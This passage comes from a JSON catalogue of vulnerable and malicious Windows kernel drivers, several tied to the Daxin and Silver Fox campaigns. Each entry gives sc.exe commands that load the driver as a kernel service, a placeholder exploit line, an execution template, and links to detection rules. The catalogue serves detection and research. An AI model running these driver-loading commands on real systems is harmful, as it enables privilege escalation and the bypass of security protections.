          "sc.exe create viragt.sys binPath=C:\\windows\\temp\\viragt.sys type=kernel && sc.exe start viragt.sys"
        ]
      }
    ],
    "name": "viragt.sys",
    "namespace": "windows:kernel:viragt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create viragt64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\viragt64.sys type=kernel && sc.exe start viragt64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver viragt64.sys\"\n\n# viragt64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-viragt64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create viragt64.sys binPath=C:\\windows\\temp\\viragt64.sys type=kernel && sc.exe start viragt64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-viragt64",
    "install": [
      {
        "method": "custom",
        "description": "Load viragt64.sys kernel driver",
        "commands": [
          "sc.exe create viragt64.sys binPath=C:\\windows\\temp\\viragt64.sys type=kernel && sc.exe start viragt64.sys"
        ]
      }
    ],
    "name": "viragt64.sys",
    "namespace": "windows:kernel:viragt64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ViveRRAudio binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ViveRRAudio.sys type=kernel && sc.exe start ViveRRAudio\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ViveRRAudio.sys\"\n\n# ViveRRAudio.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 5.5, indicating a information disclosure / local dos impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-viverraudio.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 5.5, indicating a information disclosure / local dos impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create ViveRRAudio binPath=C:\\windows\\temp\\ViveRRAudio.sys type=kernel && sc.exe start ViveRRAudio",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-viverraudio",
    "install": [
      {
        "method": "custom",
        "description": "Load ViveRRAudio.sys kernel driver",
        "commands": [
          "sc.exe create ViveRRAudio binPath=C:\\windows\\temp\\ViveRRAudio.sys type=kernel && sc.exe start ViveRRAudio"
        ]
      }
    ],
    "name": "ViveRRAudio.sys",
    "namespace": "windows:kernel:viverraudio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://northwave-cybersecurity.com/vive-vr-headset-kernel-driver-vulnerable-for-out-of-bounds-memory-read"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create vmdrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\vmdrv.sys type=kernel && sc.exe start vmdrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver vmdrv.sys\"\n\n# vmdrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-vmdrv.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create vmdrv.sys binPath=C:\\windows\\temp\\vmdrv.sys type=kernel && sc.exe start vmdrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-vmdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load vmdrv.sys kernel driver",
        "commands": [
          "sc.exe create vmdrv.sys binPath=C:\\windows\\temp\\vmdrv.sys type=kernel && sc.exe start vmdrv.sys"
        ]
      }
    ],
    "name": "vmdrv.sys",
    "namespace": "windows:kernel:vmdrv",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create VProEventMonitor.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\VProEventMonitor.sys     type=kernel && sc.exe start VProEventMonitor.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver VProEventMonitor.sys\"\n\n# VProEventMonitor.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vproeventmonitor.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/7877c1b0e7429453b750218ca491c2825dae684ad9616642eff7b41715c70aca.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create VProEventMonitor.sys binPath=C:\\windows\\temp\\VProEventMonitor.sys     type=kernel && sc.exe start VProEventMonitor.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-vproeventmonitor",
    "install": [
      {
        "method": "custom",
        "description": "Load VProEventMonitor.sys kernel driver",
        "commands": [
          "sc.exe create VProEventMonitor.sys binPath=C:\\windows\\temp\\VProEventMonitor.sys     type=kernel && sc.exe start VProEventMonitor.sys"
        ]
      }
    ],
    "name": "VProEventMonitor.sys",
    "namespace": "windows:kernel:vproeventmonitor",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create vsdatant binPath=C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\vsdatant.sys type=kernel && sc.exe start vsdatant\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver vsdatant.sys\"\n\n# vsdatant.sys\n\nCheck Point ZoneAlarm driver (vsdatant.sys) abused in BYOVD attacks to gain kernel privileges and bypass protections such as Memory Integrity.\n\n**Use Case:** BYOVD (kernel) privilege escalation / defense evasion\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vsdatant.md",
    "author": "Kyaw Pyiyt Htet",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Check Point ZoneAlarm driver (vsdatant.sys) abused in BYOVD attacks to gain kernel privileges and bypass protections such as Memory Integrity.",
    "execution": {
      "template": "sc.exe create vsdatant binPath=C:\\Windows\\Temp\\vsdatant.sys type=kernel && sc.exe start vsdatant",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-vsdatant",
    "install": [
      {
        "method": "custom",
        "description": "Load vsdatant.sys kernel driver",
        "commands": [
          "sc.exe create vsdatant binPath=C:\\Windows\\Temp\\vsdatant.sys type=kernel && sc.exe start vsdatant"
        ]
      }
    ],
    "name": "vsdatant.sys",
    "namespace": "windows:kernel:vsdatant",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://venaksecurity.com/2025/03/20/cybercriminals-exploit-checkpoints-driver-in-a-byovd-attack/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wamsdk binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wamsdk.sys type=kernel && sc.exe start wamsdk\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wamsdk.sys\"\n\n# wamsdk.sys\n\nVulnerable WatchDog Antimalware driver used by Silver Fox APT group to load unsigned drivers and execute malicious code in kernel mode\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wamsdk.md",
    "author": "The Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Vulnerable WatchDog Antimalware driver used by Silver Fox APT group to load unsigned drivers and execute malicious code in kernel mode",
    "execution": {
      "template": "sc.exe create wamsdk binPath=C:\\windows\\temp\\wamsdk.sys type=kernel && sc.exe start wamsdk",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "process-manip",
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-wamsdk",
    "install": [
      {
        "method": "custom",
        "description": "Load wamsdk.sys kernel driver",
        "commands": [
          "sc.exe create wamsdk binPath=C:\\windows\\temp\\wamsdk.sys type=kernel && sc.exe start wamsdk"
        ]
      }
    ],
    "name": "wamsdk.sys",
    "namespace": "windows:kernel:wamsdk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wantd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wantd.sys type=kernel && sc.exe start wantd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wantd.sys\"\n\n# wantd.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wantd.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/06a0ec9a316eb89cb041b1907918e3ad3b03842ec65f004f6fa74d57955573a4.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create wantd.sys binPath=C:\\windows\\temp\\wantd.sys type=kernel && sc.exe start wantd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-wantd",
    "install": [
      {
        "method": "custom",
        "description": "Load wantd.sys kernel driver",
        "commands": [
          "sc.exe create wantd.sys binPath=C:\\windows\\temp\\wantd.sys type=kernel && sc.exe start wantd.sys"
        ]
      }
    ],
    "name": "wantd.sys",
    "namespace": "windows:kernel:wantd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wantd_2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wantd_2.sys type=kernel && sc.exe start wantd_2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wantd_2.sys\"\n\n# wantd_2.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wantd-2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6908ebf52eb19c6719a0b508d1e2128f198d10441551cbfb9f4031d382f5229f.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create wantd_2.sys binPath=C:\\windows\\temp\\wantd_2.sys type=kernel && sc.exe start wantd_2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-wantd-2",
    "install": [
      {
        "method": "custom",
        "description": "Load wantd_2.sys kernel driver",
        "commands": [
          "sc.exe create wantd_2.sys binPath=C:\\windows\\temp\\wantd_2.sys type=kernel && sc.exe start wantd_2.sys"
        ]
      }
    ],
    "name": "wantd_2.sys",
    "namespace": "windows:kernel:wantd-2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wantd_3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wantd_3.sys type=kernel && sc.exe start wantd_3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wantd_3.sys\"\n\n# wantd_3.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wantd-3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/81c7bb39100d358f8286da5e9aa838606c98dfcc263e9a82ed91cd438cb130d1.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create wantd_3.sys binPath=C:\\windows\\temp\\wantd_3.sys type=kernel && sc.exe start wantd_3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-wantd-3",
    "install": [
      {
        "method": "custom",
        "description": "Load wantd_3.sys kernel driver",
        "commands": [
          "sc.exe create wantd_3.sys binPath=C:\\windows\\temp\\wantd_3.sys type=kernel && sc.exe start wantd_3.sys"
        ]
      }
    ],
    "name": "wantd_3.sys",
    "namespace": "windows:kernel:wantd-3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wantd_4.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wantd_4.sys type=kernel && sc.exe start wantd_4.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wantd_4.sys\"\n\n# wantd_4.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wantd-4.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/8d9a2363b757d3f127b9c6ed8f7b8b018e652369bc070aa3500b3a978feaa6ce.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create wantd_4.sys binPath=C:\\windows\\temp\\wantd_4.sys type=kernel && sc.exe start wantd_4.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-wantd-4",
    "install": [
      {
        "method": "custom",
        "description": "Load wantd_4.sys kernel driver",
        "commands": [
          "sc.exe create wantd_4.sys binPath=C:\\windows\\temp\\wantd_4.sys type=kernel && sc.exe start wantd_4.sys"
        ]
      }
    ],
    "name": "wantd_4.sys",
    "namespace": "windows:kernel:wantd-4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wantd_5.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wantd_5.sys type=kernel && sc.exe start wantd_5.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wantd_5.sys\"\n\n# wantd_5.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wantd-5.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/b9dad0131c51e2645e761b74a71ebad2bf175645fa9f42a4ab0e6921b83306e3.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create wantd_5.sys binPath=C:\\windows\\temp\\wantd_5.sys type=kernel && sc.exe start wantd_5.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-wantd-5",
    "install": [
      {
        "method": "custom",
        "description": "Load wantd_5.sys kernel driver",
        "commands": [
          "sc.exe create wantd_5.sys binPath=C:\\windows\\temp\\wantd_5.sys type=kernel && sc.exe start wantd_5.sys"
        ]
      }
    ],
    "name": "wantd_5.sys",
    "namespace": "windows:kernel:wantd-5",
